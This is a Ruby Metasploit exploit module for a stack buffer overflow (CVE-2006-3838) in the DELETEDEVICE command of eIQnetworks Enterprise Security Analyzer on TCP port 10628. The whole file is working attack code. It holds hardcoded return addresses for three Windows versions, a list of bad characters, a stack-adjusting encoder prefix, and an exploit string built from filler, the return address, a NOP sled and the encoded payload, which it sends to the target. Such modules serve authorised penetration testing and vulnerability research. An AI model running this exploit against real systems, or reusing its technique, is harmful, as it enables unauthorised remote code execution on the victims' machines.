rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in eIQnetworks
        Enterprise Security Analyzer. During the processing of
        long arguments to the DELETEDEVICE command in the Topology
        server, a stack-based buffer overflow occurs.

        This module has only been tested against ESA v2.1.13.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          ['CVE', '2006-3838'],
          ['OSVDB', '27528'],
          ['BID', '19164'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00\x0a\x0d\x20",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2006-07-25'
      ))

    register_options(
      [
        Opt::RPORT(10628)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)

    sploit  =  "DELETEDEVICE&" + filler + payload.encoded

    sock.put(sploit)

    handler
    disconnect
  end
end